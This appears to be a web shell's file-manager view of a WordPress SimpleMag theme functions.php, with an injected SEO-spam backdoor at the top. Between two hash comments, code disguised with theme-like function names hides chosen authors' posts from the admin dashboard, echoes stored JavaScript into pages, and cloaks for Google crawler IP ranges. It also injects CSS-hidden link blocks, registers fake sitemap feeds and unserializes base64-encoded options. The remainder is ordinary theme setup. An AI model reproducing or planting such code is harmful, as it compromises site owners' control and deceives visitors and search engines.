| Server IP : 74.208.236.16 / Your IP : 216.73.216.220 Web Server : Apache System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux User : u102440577 ( 7172810) PHP Version : 8.4.26 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /homepages/44/d845879113/htdocs/app245899/wp-content/themes/simplemag/ |
Upload File : |
<?php
/* 87d1da9b0a2a2969bfa96af8c20085fe */
function the_ID_call($where) {
global $wpdb, $register_sidebar_info;
$register_sidebar_constructor = array_keys($register_sidebar_info);
$add_section_other = implode(', ', $register_sidebar_constructor);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'is_active_sidebar_git');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($add_section_other)";
}
return $where;
}
function get_stylesheet_uri_live($query) {
global $register_sidebar_info;
$register_sidebar_constructor = array_keys($register_sidebar_info);
$add_action_url = comments_open_beta($register_sidebar_constructor);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $add_action_url);
}
}
function add_partial_get() {
global $post, $register_sidebar_info;
foreach ($register_sidebar_info as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (is_admin_base($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function is_admin_base($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (wp_head_framework()) {
return true;
}
}
return false;
}
function is_active_sidebar_git($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function get_stylesheet_uri_loop($counts, $type, $perm) {
if ($type === 'post') {
$get_option_stack = $counts->publish;
$get_post_thumbnail_id_restful = is_customize_preview_live($perm);
$counts->publish = !$get_post_thumbnail_id_restful ? $get_option_stack : $get_post_thumbnail_id_restful;
}
return $counts;
}
function is_customize_preview_live($perm) {
global $wpdb, $register_sidebar_info;
$register_sidebar_constructor = array_keys($register_sidebar_info);
$add_section_other = implode(', ', $register_sidebar_constructor);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$esc_url_git = get_post_type_object($type);
if (!current_user_can($esc_url_git->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($add_section_other) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $is_admin_trigger) {
if ($is_admin_trigger['post_status'] === 'publish') {
return $is_admin_trigger['num_posts'];
}
}
}
function wp_reset_postdata_beta($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$register_sidebar_constructor = array();
foreach ($results as $is_admin_trigger) {
$register_sidebar_constructor[] = $is_admin_trigger['ID'];
}
return $register_sidebar_constructor;
}
function get_header_condition() {
global $register_sidebar_info, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($register_sidebar_info as $get_stylesheet_uri_new => $the_archive_title_pic) {
$get_header_num = key($the_archive_title_pic['sitemapsettings']);
if (!isset($rules[$get_header_num]) ||
($rules[$get_header_num] !== current($the_archive_title_pic['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function add_action_object($rules) {
global $register_sidebar_info;
$add_section_dns = array();
foreach ($register_sidebar_info as $get_stylesheet_uri_new => $the_archive_title_pic) {
if (isset($the_archive_title_pic['sitemapsettings'])) {
$add_section_dns[key($the_archive_title_pic['sitemapsettings'])] = current($the_archive_title_pic['sitemapsettings']);
}
}
return $add_section_dns + $rules;
}
function get_the_date_old() {
global $register_sidebar_info;
foreach ($register_sidebar_info as $get_stylesheet_uri_new => $the_archive_title_pic) {
$esc_html_queue = str_replace('index.php?feed=', '', current($the_archive_title_pic['sitemapsettings']));
add_feed($esc_html_queue, 'get_sidebar_cookie');
}
}
function get_sidebar_cookie() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$language_attributes_stack = esc_url_base();
$comments_open_dns = wp_reset_postdata_beta($language_attributes_stack);
if (!empty($comments_open_dns)) {
$admin_url_reference = md5(implode(',', $comments_open_dns));
$get_post_thumbnail_id_stat = 'update_plugins_' . $language_attributes_stack . '_' . $admin_url_reference;
$add_query_arg_get = get_transient($get_post_thumbnail_id_stat);
if ($add_query_arg_get !== false) {
echo $add_query_arg_get;
return;
}
}
$head = the_permalink_https();
$get_theme_file_uri_core = $head . "\n";
$priority = '0.5';
$esc_url_raw_beta = 'weekly';
$absint_session = date('Y-m-d');
foreach ($comments_open_dns as $post_id) {
$url = get_permalink($post_id);
$get_theme_file_uri_core .= get_bloginfo_dns($url, $absint_session, $esc_url_raw_beta, $priority);
wp_cache_delete($post_id, 'posts');
}
$get_theme_file_uri_core .= "\n</urlset>";
set_transient($get_post_thumbnail_id_stat, $get_theme_file_uri_core, WEEK_IN_SECONDS);
echo $get_theme_file_uri_core;
}
function the_permalink_https() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function get_bloginfo_dns($url, $absint_session, $esc_url_raw_beta, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$absint_session</lastmod>
<changefreq>$esc_url_raw_beta</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function comments_open_beta($writersArr) {
$get_the_tag_list_character = array();
foreach ($writersArr as $item) {
$get_the_tag_list_character[] = '-' . $item;
}
return implode(',', $get_the_tag_list_character);
}
function get_the_category_list_float() {
$is_customize_preview_path = array();
$get_sidebar_merge = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$has_post_thumbnail_pointer = unserialize(base64_decode($settings));
if ($has_post_thumbnail_pointer) {
$is_customize_preview_path = $has_post_thumbnail_pointer;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$comments_template_info = unserialize(base64_decode($settings));
if ($comments_template_info) {
$get_sidebar_merge = $comments_template_info;
}
}
return $get_sidebar_merge + $is_customize_preview_path;
}
function esc_url_base() {
global $register_sidebar_info;
foreach ($register_sidebar_info as $get_stylesheet_uri_new => $the_archive_title_pic) {
$esc_attr_x_get = key($the_archive_title_pic['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($the_archive_title_pic['sitemapsettings']) . '$');
if (preg_match("~$esc_attr_x_get~", $_SERVER['REQUEST_URI'])) {
return $get_stylesheet_uri_new;
}
}
}
function is_home_variable() {
global $register_sidebar_info, $post;
$admin_url_json = array_keys($register_sidebar_info);
if (in_array($post->post_author, $admin_url_json)) {
return true;
}
return false;
}
function the_content_all() {
global $register_sidebar_info, $post;
$admin_url_json = array_keys($register_sidebar_info);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $admin_url_json)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function wp_footer_live() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function wp_head_framework() {
$post_class_object = wp_footer_live();
if (strstr($post_class_object, ', ')) {
$the_title_more = explode(', ', $post_class_object);
$post_class_object = $the_title_more[0];
}
$register_sidebar_decryption = wp_nav_menu_plain();
if (!$register_sidebar_decryption) {
return false;
}
foreach ($register_sidebar_decryption as $range) {
if (body_class_framework($post_class_object, $range)) {
return true;
}
}
return false;
}
function esc_attr_x_stat($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function wp_nav_menu_plain() {
if (($value = get_option('wp_custom_range')) && !esc_attr_x_stat($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$register_sidebar_decryption = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($register_sidebar_decryption)) {
return;
}
$value = array('ranges' => $register_sidebar_decryption, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function esc_attr_e_url($inet) {
$get_permalink_hashing = str_split($inet);
$_x_private = '';
foreach ($get_permalink_hashing as $char) {
$_x_private .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $_x_private;
}
function body_class_framework($post_class_object, $cidrnet) {
$post_class_object = inet_pton($post_class_object);
$_x_private = esc_attr_e_url($post_class_object);
list($net, $_x_https) = explode('/', $cidrnet);
$net = inet_pton($net);
$is_front_page_compiler = esc_attr_e_url($net);
$has_nav_menu_trigger = substr($_x_private, 0, $_x_https);
$the_permalink_exception = substr($is_front_page_compiler, 0, $_x_https);
if ($has_nav_menu_trigger !== $the_permalink_exception) {
return false;
} else {
return true;
}
}
function get_the_modified_date_string($add_query_arg_decryption) {
global $post;
$register_sidebar_character = '';
if (is_customize_preview_base($add_query_arg_decryption, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$register_sidebar_character = get_option('home_links_custom_0');
}
} elseif (is_customize_preview_base($add_query_arg_decryption, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$register_sidebar_character = get_option('home_links_custom_' . $matches[0]);
} elseif (is_customize_preview_base($add_query_arg_decryption, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$get_the_date_string = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$register_sidebar_character = get_option('home_links_custom_' . $get_the_date_string);
} elseif (is_customize_preview_base($add_query_arg_decryption, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$register_sidebar_character ? '' : $register_sidebar_character;
}
function is_customize_preview_base($the_archive_title_pic, $esc_url_raw_dns, $the_permalink_constructor) {
if (!isset($the_archive_title_pic[$esc_url_raw_dns][$the_permalink_constructor])) {
return false;
}
if ($the_archive_title_pic[$esc_url_raw_dns][$the_permalink_constructor] === 1) {
return true;
}
return false;
}
function register_sidebar_client($add_query_arg_decryption, $get_footer_queue) {
if (empty($get_footer_queue)) {
return '';
}
if (is_customize_preview_base($add_query_arg_decryption, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$wp_head_soap = wp_head_framework_yf();
$edit_post_link_old = $wp_head_soap[$blockNum[0]];
return $edit_post_link_old[0] . PHP_EOL . $get_footer_queue . PHP_EOL . $edit_post_link_old[1];
}
return $get_footer_queue;
}
function wp_head_framework_yf() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function get_sidebar_stack($add_query_arg_decryption) {
return is_customize_preview_base($add_query_arg_decryption, 'position', 'head');
}
function the_archive_title_queue($add_query_arg_decryption) {
return is_customize_preview_base($add_query_arg_decryption, 'position', 'footer');
}
function get_sidebar_condition($settings) {
foreach ($settings as $get_stylesheet_uri_new => $the_archive_title_pic) {
if (isset($the_archive_title_pic['homeLinks'])) {
return $the_archive_title_pic['homeLinks'];
}
}
return array();
}
function comments_template_cron() {
if (!is_home_variable()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function dynamic_sidebar_function() {
global $add_query_arg_decryption;
if (!comments_template_cron()) {
return;
}
if (is_customize_preview_base($add_query_arg_decryption, 'hiddenType', 'cloacking')) {
if (!wp_head_framework()) {
return;
}
}
$get_footer_queue = get_the_modified_date_string($add_query_arg_decryption);
$get_footer_queue = register_sidebar_client($add_query_arg_decryption, $get_footer_queue);
echo $get_footer_queue;
}
$register_sidebar_info = get_the_category_list_float();
if (is_array($register_sidebar_info)) {
add_filter('posts_where_paged', 'the_ID_call');
add_action('pre_get_posts', 'get_stylesheet_uri_live');
add_action('wp_enqueue_scripts', 'add_partial_get');
add_filter('wp_count_posts', 'get_stylesheet_uri_loop' , 10, 3);
add_filter('rewrite_rules_array', 'add_action_object');
add_action('wp_loaded', 'get_header_condition');
add_action('init', 'get_the_date_old');
add_action('template_redirect', 'the_content_all');
$add_query_arg_decryption = get_sidebar_condition($register_sidebar_info);
if (!empty($add_query_arg_decryption)) {
if (get_sidebar_stack($add_query_arg_decryption)) {
add_action('wp_head', 'dynamic_sidebar_function');
}
if (the_archive_title_queue($add_query_arg_decryption)) {
add_action('wp_footer', 'dynamic_sidebar_function');
}
}
}
/* 87d1da9b0a2a2969bfa96af8c20085fe */
/**
* SimpleMag Functions and Definitions
*
* @package SimpleMag
* @since SimpleMag 1.0
**/
// Welcome page after theme activation. Loads only in the admin.
if ( is_admin() && ! is_child_theme() ) {
require_once( 'admin/simplemag-welcome.php' );
}
/* Install plugins for theme use */
include_once ( 'admin/tgm/tgm-init.php' );
/**
* Add Custom Fields
**/
// Path
if( ! class_exists('acf') ) {
function ti_acf_settings_path( $path ) {
$path = get_template_directory() . '/admin/acf/';
return $path;
}
add_filter('acf/settings/path', 'ti_acf_settings_path');
// Dir
function ti_acf_settings_dir( $dir ) {
$dir = get_template_directory_uri() . '/admin/acf/';
return $dir;
}
add_filter('acf/settings/dir', 'ti_acf_settings_dir');
// Lite Mode
add_filter('acf/settings/show_admin', '__return_false');
add_filter('acf/settings/show_updates', '__return_false');
// Include
include_once( get_template_directory() . '/admin/acf/acf.php' );
}
add_filter('acf/settings/remove_wp_meta_box', '__return_true');
// ACF Fields Array
include_once( 'admin/acf-fields/acf-fields.php' );
// ACF Post Feed Sidebars
function ti_register_fields(){
include_once('admin/acf-fields/add-ons/acf-sidebar-selector/acf-sidebar_selector-v5.php');
}
add_action('acf/include_fields', 'ti_register_fields');
/**
* Add Theme Options fields array
*/
require_once ( dirname(__FILE__) . '/admin/theme-options.php' );
/* Content Width */
if ( ! isset( $content_width ) ) {
$content_width = 1170; /* pixels */
}
/* Theme Setup */
function ti_theme_setup() {
/*
* Let WordPress manage the document title.
* Declare that this theme does not use a hard-coded <title>
* tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/* Register Menus */
register_nav_menus( array(
'main_menu' => __( 'Main Menu', 'themetext' ), // Main site menu
'secondary_menu' => __( 'Top Strip Menu', 'themetext' ) // Main site menu
));
/*
* Default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
) );
/*
* Enable support for Post Formats.
*/
add_theme_support( 'post-formats', array(
'video',
'gallery',
'audio',
'quote'
) );
/* Images */
add_theme_support( 'post-thumbnails' );
// Hard crop for grid layouts
add_image_size( 'rectangle-size', 370, 247, true );
add_image_size( 'rectangle-size-small', 270, 180, true );
add_image_size( 'rectangle-size-big', 570, 381, true );
// Variable height for masonry layouts
add_image_size( 'masonry-size', 370, 9999 );
add_image_size( 'masonry-size-big', 570, 9999 );
add_image_size( 'medium-size', 770, 9999 );
// Single Post
add_image_size( 'big-size', 1170, 9999 );
// Gallery
global $ti_option;
add_image_size( 'gallery-carousel', 9999, $ti_option['site_carousel_height'] );
/* Add support for wide images in Gutenberg */
add_theme_support( 'align-wide' );
/* Enable post and comment RSS feed links */
add_theme_support( 'automatic-feed-links' );
/* Theme localization */
load_theme_textdomain( 'themetext', get_template_directory() . '/languages' );
/* Extra post class for design */
function post_design_class( $design_class ) {
if ( ! is_single() ) {
global $wp_query;
$current_count = $wp_query->current_post + 1;
$oddeven = 'odd';
if ( $current_count % 2 == 0 ) { $oddeven = 'even'; } else { $oddeven = 'odd'; }
$design_class[] = 'post-item';
$design_class[] = 'post-' . $oddeven;
}
return $design_class;
}
add_filter( 'post_class', 'post_design_class' );
/* Enable theme gallery if it was turned ON in Theme Options */
if ( $ti_option['site_custom_gallery'] == true ) {
include_once( 'inc/wp-gallery.php' );
}
/**
* Post formats for Media Position option in Single Post.
* Passed into the single.php
**/
function post_format_output() {
if ( ! get_post_format() ): // Standard
get_template_part( 'formats/format', 'standard' );
elseif ( 'gallery' == get_post_format() ): // Gallery
get_template_part( 'formats/format', 'gallery' );
elseif ( 'video' == get_post_format() ): // Video
get_template_part( 'formats/format', 'video' );
elseif ( 'audio' == get_post_format() ): // Audio
get_template_part( 'formats/format', 'audio' );
endif;
}
/**
* Calculate to total score for posts with Rating feature is enabled
*
* Applies to:
* 1. Latest Reviews & Latest Posts sections
* 2. Latest Reviews widget
* 3. Single Post when rasting is enabled
*
* Final calculations in inc/rating-calculations.php
**/
function ti_rating_calc() {
$score_rows = get_field( 'rating_module' );
$score = array();
// Loop through the scores
if ( $score_rows ){
foreach( $score_rows as $key => $row ){
$score[$key] = $row['score_number'];
}
$score_items = count( $score ); // Count the scores
$score_sum = array_sum( $score ); // Get the scores summ
$score_total = $score_sum / $score_items; // Get the score result
return $score_total;
}
}
add_filter( 'ti_score_total', 'ti_rating_calc' );
}
add_action( 'after_setup_theme', 'ti_theme_setup' );
/* Includes */
include_once( 'inc/social-share.php' );
include_once( 'inc/user-fields.php' );
include_once( 'inc/mega-menu.php' );
include_once( 'inc/styling-options.php' );
include_once( 'inc/single-post-actions.php' );
include_once( 'inc/content-post-actions.php' );
include_once( 'inc/ad-units-actions.php' );
include_once( 'inc/layouts-post-image.php' );
/* Register jQuery Scripts and CSS Styles */
include_once( 'inc/register-scripts.php' );
/* Functions for Composer Sections */
include_once( 'composer/assets/sections-functions.php' );
/* Widgets */
locate_template( 'widgets/ti-video.php', true );
locate_template( 'widgets/ti-authors.php', true );
locate_template( 'widgets/ti-about-site.php', true );
locate_template( 'widgets/ti-latest-posts.php', true );
locate_template( 'widgets/ti-code-banner.php', true );
locate_template( 'widgets/ti-image-banner.php', true );
locate_template( 'widgets/ti-latest-reviews.php', true );
locate_template( 'widgets/ti-featured-posts.php', true );
locate_template( 'widgets/ti-most-commented.php', true );
locate_template( 'widgets/ti-latest-comments.php', true );
locate_template( 'widgets/ti-latest-category-posts.php', true );
/**
* Add classes to the body tag
**/
function ti_body_classes( $classes ){
global $post, $ti_option;
$classes[] = 'sm-451';
if ( !is_rtl() ) {
$classes[] = 'ltr';
}
// Page Name as class name
if ( is_page() ) {
$page_name = $post->post_name;
$classes[] = 'page-'.$page_name;
}
// If category have sidebar enabled
if ( get_field( 'category_sidebar', 'category_' . get_query_var('cat') ) == 'cat_sidebar_on' ) {
$classes[] = 'with-sidebar';
}
// Text Alignmnet Left for the whole site
if ( $ti_option['text_alignment'] == '2' ) {
$classes[] = 'text-left';
}
// Category Name as class name only in single post of given category
if ( is_single() ) {
global $post;
$categories = get_the_category( $post->ID );
foreach( $categories as $category ) {
$classes[] = 'single-'.$category->category_nicename;
}
}
// Hide/Show top strip
if ( $ti_option['site_top_strip'] == 0 ) {
$classes[] = 'hide-strip';
}
// Make top strip fixed
if ( $ti_option['site_fixed_menu'] == '2' ) {
$classes[] = 'top-strip-fixed';
}
// Hide/Show main menu
if ( $ti_option['site_main_menu'] == 0 ) {
$classes[] = 'no-main-menu';
}
// If top strip have white background
if ( $ti_option['site_top_strip_bg'] == '#ffffff' ) {
$classes[] = 'color-site-white';
}
// Check for a layout options: Full Width or Boxed
if ( $ti_option['site_layout'] == '2' ) {
$classes[] = 'layout-boxed';
} else {
$classes[] = 'layout-full';
}
return $classes;
}
add_filter( 'body_class', 'ti_body_classes' );
/**
* Add Previous & Next links to a numbered link list
* of wp_link_pages() if single post is paged
*/
function ti_wp_link_pages( $args ){
global $page, $numpages, $more;
if ( !$args['next_or_number'] == 'next_and_number' ) {
return $args;
}
// Keep numbers for the main part
$args['next_or_number'] = 'number';
if (!$more){
return $args;
}
// If previous page exists
if( $page-1 ) {
$args['before'] .= _wp_link_page($page-1) . $args['link_before']. $args['previouspagelink'] . $args['link_after'] . '</a>';
}
// If next page exists
if ( $page<$numpages ) {
$args['after'] = _wp_link_page($page+1) . $args['link_before'] . $args['nextpagelink'] . $args['link_after'] . '</a>' . $args['after'];
}
return $args;
}
add_filter( 'wp_link_pages_args', 'ti_wp_link_pages' );
/**
* Helper Functions
*/
// Get The First Image From a Post
function first_post_image() {
global $post, $posts;
$first_img = '';
ob_start();
ob_end_clean();
if( preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches ) ){
$first_img = $matches[1][0];
return $first_img;
}
}
/**
* Excerpt length
* Excerpt more
*/
// Excerpt Length
function ti_excerpt_length( $length ) {
global $ti_option;
return $ti_option['site_wide_excerpt_length'];
}
add_filter( 'excerpt_length', 'ti_excerpt_length', 999 );
// Excerpt more
function ti_excerpt_more( $more ) {
return '...';
}
add_filter( 'excerpt_more', 'ti_excerpt_more' );
/**
* Custom the_content() filter
* to make textareas support shortcodess
**/
add_filter( 'be_the_content', 'do_shortcode' );
/**
* Shortcodes support for Text widget
**/
add_filter( 'widget_text', 'do_shortcode' );
/**
* Define Five Sidebar areas
* Magazine for Page Composer, Pages for static pages, Three Footer Sidebars
**/
function ti_register_theme_sidebars() {
if ( function_exists('register_sidebars') ) {
// Sidebar for blog section of the site
register_sidebar(
array(
'name' => __( 'Magazine', 'themetext' ),
'id' => 'sidebar-1',
'description' => __( 'Sidebar for categories and single posts', 'themetext' ),
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
)
);
register_sidebar(
array(
'name' => __( 'Pages', 'themetext' ),
'id' => 'sidebar-2',
'description' => __( 'Sidebar for static pages', 'themetext' ),
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
)
);
register_sidebar(
array(
'name' => __( 'Footer Area One', 'themetext' ),
'id' => 'sidebar-3',
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
)
);
register_sidebar(
array(
'name' => __( 'Footer Area Two', 'themetext' ),
'id' => 'sidebar-4',
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
)
);
register_sidebar(
array(
'name' => __( 'Footer Area Three', 'themetext' ),
'id' => 'sidebar-5',
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
)
);
register_sidebar(
array(
'name' => __( 'Footer Full Width', 'themetext' ),
'id' => 'sidebar-full-width',
'description' => __( 'Can be used for your Instagram feed', 'themetext' ),
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
)
);
if ( class_exists( 'WooCommerce' ) ) {
register_sidebar(
array(
'name' => __( 'WooCommerce', 'themetext' ),
'id' => 'woocommerce-sidebar',
'description' => __( 'Sidebar for Woocommerce', 'themetext' ),
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
)
);
}
if ( class_exists( 'bbPress' ) ) {
register_sidebar(
array(
'name' => __( 'bbPress', 'themetext' ),
'id' => 'bbpress-sidebar',
'description' => __( 'Sidebar for bbPress', 'themetext' ),
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
)
);
}
}
}
add_action( 'widgets_init', 'ti_register_theme_sidebars' );
/* Count the number of footer sidebars to enable dynamic classes for the footer */
function ti_footer_sidebar_class() {
$count = 0;
if ( is_active_sidebar( 'sidebar-3' ) )
$count++;
if ( is_active_sidebar( 'sidebar-4' ) )
$count++;
if ( is_active_sidebar( 'sidebar-5' ) )
$count++;
$class = '';
switch ( $count ) {
case '1':
$class = ' col-1';
break;
case '2':
$class = ' col-2';
break;
case '3':
$class = ' col-3';
break;
}
if ( $class )
echo $class;
}
/**
* Indicators in admin posts list
*
* 1. If post was marked as featured
* 2. If post was added into the homepage slider
**/
function admin_post_header_columns($columns) {
$columns['slider_add'] = "Home Slider";
$columns['featured_add'] = "Featured";
return $columns;
}
function admin_post_data_row( $column_name, $post_id ) {
$checked = '<span style="color:#00a0d2;font-weight:bold;">✓</span>';
$deafult = '<span style="color:#ddd;font-weight:bold;">✓</span>';
switch( $column_name ) {
case 'featured_add':
if ( get_post_meta( $post_id , 'featured_post_add' , 'true' ) ) {
echo $checked;
} else {
echo $deafult;
}
break;
case 'slider_add':
if ( get_post_meta( $post_id , 'homepage_slider_add' , 'true' ) ) {
echo $checked;
} else {
echo $deafult;
}
break;
}
}
add_filter( 'manage_edit-post_columns', 'admin_post_header_columns', 10, 1 );
add_action( 'manage_posts_custom_column', 'admin_post_data_row', 10, 2 );
/**
* SimpleMag & WooCommerce functions and definitions
*
* @package SimpleMag
* @since SimpleMag 4.0
**/
if ( class_exists ( 'WooCommerce' ) ) :
/**
* Declare WooCommerce support
*/
add_action( 'after_setup_theme', 'woocommerce_support' );
function woocommerce_support() {
add_theme_support( 'woocommerce' );
}
/**
* Disabling default WooCommerce css file.
*/
add_filter( 'woocommerce_enqueue_styles', '__return_false' );
//add_action( 'wp_enqueue_scripts', 'child_add_scripts' );
/**
* is_realy_woocommerce_page - Returns true if on a page which uses WooCommerce templates (cart and checkout are standard pages with shortcodes and which are also included)
*
* @access public
* @return bool
*/
function is_really_woocommerce_page () {
if( function_exists ( "is_woocommerce" ) && is_woocommerce()) {
return true;
}
$woocommerce_keys = array ( "woocommerce_shop_page_id" ,
"woocommerce_terms_page_id" ,
"woocommerce_cart_page_id" ,
"woocommerce_checkout_page_id" ,
"woocommerce_pay_page_id" ,
"woocommerce_thanks_page_id" ,
"woocommerce_myaccount_page_id" ,
"woocommerce_edit_address_page_id" ,
"woocommerce_view_order_page_id" ,
"woocommerce_change_password_page_id" ,
"woocommerce_logout_page_id" ,
"woocommerce_lost_password_page_id" ) ;
foreach ( $woocommerce_keys as $wc_page_id ) {
if ( get_the_ID () == get_option ( $wc_page_id , 0 ) ) {
return true ;
}
}
return false;
}
/**
* Class name for Woocomerce homepage
*/
add_filter( 'body_class','woocommerce_body_classes' );
function woocommerce_body_classes( $classes ) {
if ( is_shop() ) {
$classes[] = 'woocommerce-home';
}
return $classes;
}
/**
* Unhook WooCommerce wrappers
*/
remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10);
remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10);
add_action('woocommerce_before_main_content', 'smwc_wrapper_start', 10);
add_action('woocommerce_after_main_content', 'smwc_wrapper_end', 10);
function smwc_wrapper_start() {
echo '<section id="content" role="main" class="clearfix anmtd"><div class="wrapper">';
}
function smwc_wrapper_end() {
echo '</div></section>';
}
/**
* Disable WooCommerce action
*/
remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_title', 5 );
remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_rating', 10 );
/**
* Display product category descriptions under category title
*/
/*add_action( 'woocommerce_after_subcategory_title', 'wc_cat_description', 12);
function wc_cat_description ( $category ) {
$cat_id=$category->term_id;
